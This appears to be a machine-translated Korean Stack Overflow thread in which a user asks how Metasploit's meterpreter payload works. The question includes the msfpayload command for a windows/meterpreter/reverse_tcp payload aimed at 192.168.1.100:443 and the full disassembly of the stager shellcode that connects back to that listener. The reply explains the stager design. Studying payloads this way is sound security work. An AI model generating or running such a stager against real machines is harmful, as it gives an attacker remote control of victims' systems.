2012-02-27 1 views
3

meterpreter 작동 방식에 대한 심도있는 지식을 얻고 자합니다.metasploits meterpreter 페이로드 이해

$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 R > raw_binary 
$ /.../metasploit/lib/metasm/samples/disassemble.rb raw_binary > asm_code.asm 

당신은 다음과 같은 결과를 얻을 것이다 : 당신은 다음과 같은 명령을 msfpayload에 의해 생성 된 페이로드 창/meterpreter/reverse_typ, 분해하면

$ cat asm_code.asm 
entrypoint_0: 
    cld           ; @0 fc 
    call sub_8fh         ; @1 e889000000 x:sub_8fh 
    pushad          ; @6 60 
    mov ebp, esp         ; @7 89e5 
    xor edx, edx         ; @9 31d2 
    mov edx, fs:[edx+30h]      ; @0bh 648b5230 r4:segment_base_fs+30h 
    mov edx, [edx+0ch]       ; @0fh 8b520c r4:unknown 
    mov edx, [edx+14h]       ; @12h 8b5214 r4:unknown 


// Xrefs: 8dh 
loc_15h: 
    mov esi, [edx+28h]       ; @15h 8b7228 r4:unknown 
    movzx ecx, word ptr [edx+26h]    ; @18h 0fb74a26 r2:unknown 
    xor edi, edi         ; @1ch 31ff 


// Xrefs: 2ch 
loc_1eh: 
    xor eax, eax         ; @1eh 31c0 
    lodsb          ; @20h ac 
    cmp al, 61h         ; @21h 3c61 
    jl loc_27h         ; @23h 7c02 x:loc_27h 

    sub al, 20h         ; @25h 2c20 


// Xrefs: 23h 
loc_27h: 
    ror edi, 0dh         ; @27h c1cf0d 
    add edi, eax         ; @2ah 01c7 
    loop loc_1eh         ; @2ch e2f0 x:loc_1eh 

    push edx          ; @2eh 52 
    push edi          ; @2fh 57 
    mov edx, [edx+10h]       ; @30h 8b5210 r4:unknown 
    mov eax, [edx+3ch]       ; @33h 8b423c 
    add eax, edx         ; @36h 01d0 
    mov eax, [eax+78h]       ; @38h 8b4078 
    test eax, eax        ; @3bh 85c0 
    jz loc_89h         ; @3dh 744a x:loc_89h 

    add eax, edx         ; @3fh 01d0 
    push eax          ; @41h 50 
    mov ecx, [eax+18h]       ; @42h 8b4818 
    mov ebx, [eax+20h]       ; @45h 8b5820 
    add ebx, edx         ; @48h 01d3 


// Xrefs: 66h 
loc_4ah: 
    jecxz loc_88h        ; @4ah e33c x:loc_88h 

    dec ecx          ; @4ch 49 
    mov esi, [ebx+4*ecx]       ; @4dh 8b348b 
    add esi, edx         ; @50h 01d6 
    xor edi, edi         ; @52h 31ff 


// Xrefs: 5eh 
loc_54h: 
    xor eax, eax         ; @54h 31c0 
    lodsb          ; @56h ac 
    ror edi, 0dh         ; @57h c1cf0d 
    add edi, eax         ; @5ah 01c7 
    cmp al, ah         ; @5ch 38e0 
    jnz loc_54h         ; @5eh 75f4 x:loc_54h 

    add edi, [ebp-8]        ; @60h 037df8 
    cmp edi, [ebp+24h]       ; @63h 3b7d24 
    jnz loc_4ah         ; @66h 75e2 x:loc_4ah 

    pop eax          ; @68h 58 
    mov ebx, [eax+24h]       ; @69h 8b5824 
    add ebx, edx         ; @6ch 01d3 
    mov cx, [ebx+2*ecx]       ; @6eh 668b0c4b 
    mov ebx, [eax+1ch]       ; @72h 8b581c 
    add ebx, edx         ; @75h 01d3 
    mov eax, [ebx+4*ecx]       ; @77h 8b048b 
    add eax, edx         ; @7ah 01d0 
    mov [esp+24h], eax       ; @7ch 89442424 
    pop ebx          ; @80h 5b 
    pop ebx          ; @81h 5b 
    popad          ; @82h 61 
    pop ecx          ; @83h 59 
    pop edx          ; @84h 5a 
    push ecx          ; @85h 51 
    jmp eax          ; @86h ffe0 


// Xrefs: 4ah 
loc_88h: 
    pop eax          ; @88h 58 


// Xrefs: 3dh 
loc_89h: 
    pop edi          ; @89h 5f 
    pop edx          ; @8ah 5a 
    mov edx, [edx]        ; @8bh 8b12 r4:unknown 
    jmp loc_15h         ; @8dh eb86 x:loc_15h 


// Xrefs: 1 
sub_8fh: 
// function binding: ebp -> dword ptr [esp], esp -> esp-10h 
// function ends at 0a0h 
    pop ebp          ; @8fh 5d 
    push 3233h         ; @90h 6833320000 
    push 5f327377h        ; @95h 687773325f 
    push esp          ; @9ah 54 
    push 726774ch        ; @9bh 684c772607 
    call ebp          ; @0a0h ffd5 endsub sub_8fh noreturn 
db 0b8h, 90h, 1, 0, 0, 29h, 0c4h, "TPh)", 80h, 6bh, 0 ; @0a2h 
db 0ffh, 0d5h, "[email protected]@Ph", 0eah, 0fh, 0dfh, 0e0h, 0ffh ; @0b0h 
db 0d5h, 97h, 6ah, 5, 68h, 0c0h, 0a8h, 1, 64h, 68h, 2, 0, 1, 0bbh, 89h, 0e6h ; @0c0h 
db 6ah, 10h, "VWh", 99h, 0a5h, 74h, 61h, 0ffh, 0d5h, 85h, 0c0h, 74h, 0ch, 0ffh ; @0d0h 
db 4eh, 8, 75h, 0ech, 68h, 0f0h, 0b5h, 0a2h, 56h, 0ffh, 0d5h, 6ah, 0, 6ah, 4, 56h ; @0e0h 
db 57h, 68h, 2, 0d9h, 0c8h, 5fh, 0ffh, 0d5h, 8bh, "[email protected]", 0, 10h, 0 ; @0f0h 
db 0, 56h, 6ah, 0, 68h, 58h, 0a4h, 53h, 0e5h, 0ffh, 0d5h, 93h, 53h, 6ah, 0, 56h ; @100h 
db "SWh", 2, 0d9h, 0c8h, 5fh, 0ffh, 0d5h, 1, 0c3h, 29h, 0c6h, 85h, 0f6h, 75h ; @110h 
db 0ech, 0c3h         ; @120h 

가 어떻게의 더 나은 이해를 얻을 수있는 무엇 이 코드는? 불행히도 meterpreter 페이로드가 실제로 어떻게 작동하는지 이해하고 싶습니다. 그러나 어디에서 시작해야할지 모르겠습니다.

IDA 코드를 살펴 보았지만 그다지 진전이 없었습니다.

읽기 및 추가 학습을위한 링크 또는 리소스가 인정됩니다.

+0

이 코드가 실행될 컨텍스트와 응용 프로그램과 OS에 대한 친밀한 세부 정보를 모른 채 진행되는 상황을 알기는 어렵습니다. meterpreter에 대한 온라인 문서가있는 것 같습니다. 큰 그림을 염두에두고 그것을 읽는 것이 가치가있을 수 있습니다. –

+0

나는 이것으로 이미 뛰어 들었다. 글쎄, 우리는 그것이 Windows x86 용으로 컴파일되어야한다는 것을 안다. – Erik

답변

3

이것은 실제로 stager의 reverse_tcp 스텁입니다. 원본 어셈블리는 /opt/metasploit-*/msf3/external/source/shellcode/windows/stager_reverse_tcp.asm (또는 github)에서 찾을 수 있습니다. 계측기 코드 자체는 스 태거 (또는 사용하기로 선택한 다른 스테이 너)가 다운로드 ('준비')하므로 msfpayload에 의해 생성 된 페이로드에 없습니다. meterpreter source은 쉘 코드 일 필요가 없으므로 어셈블리가 아니라 대부분 C입니다.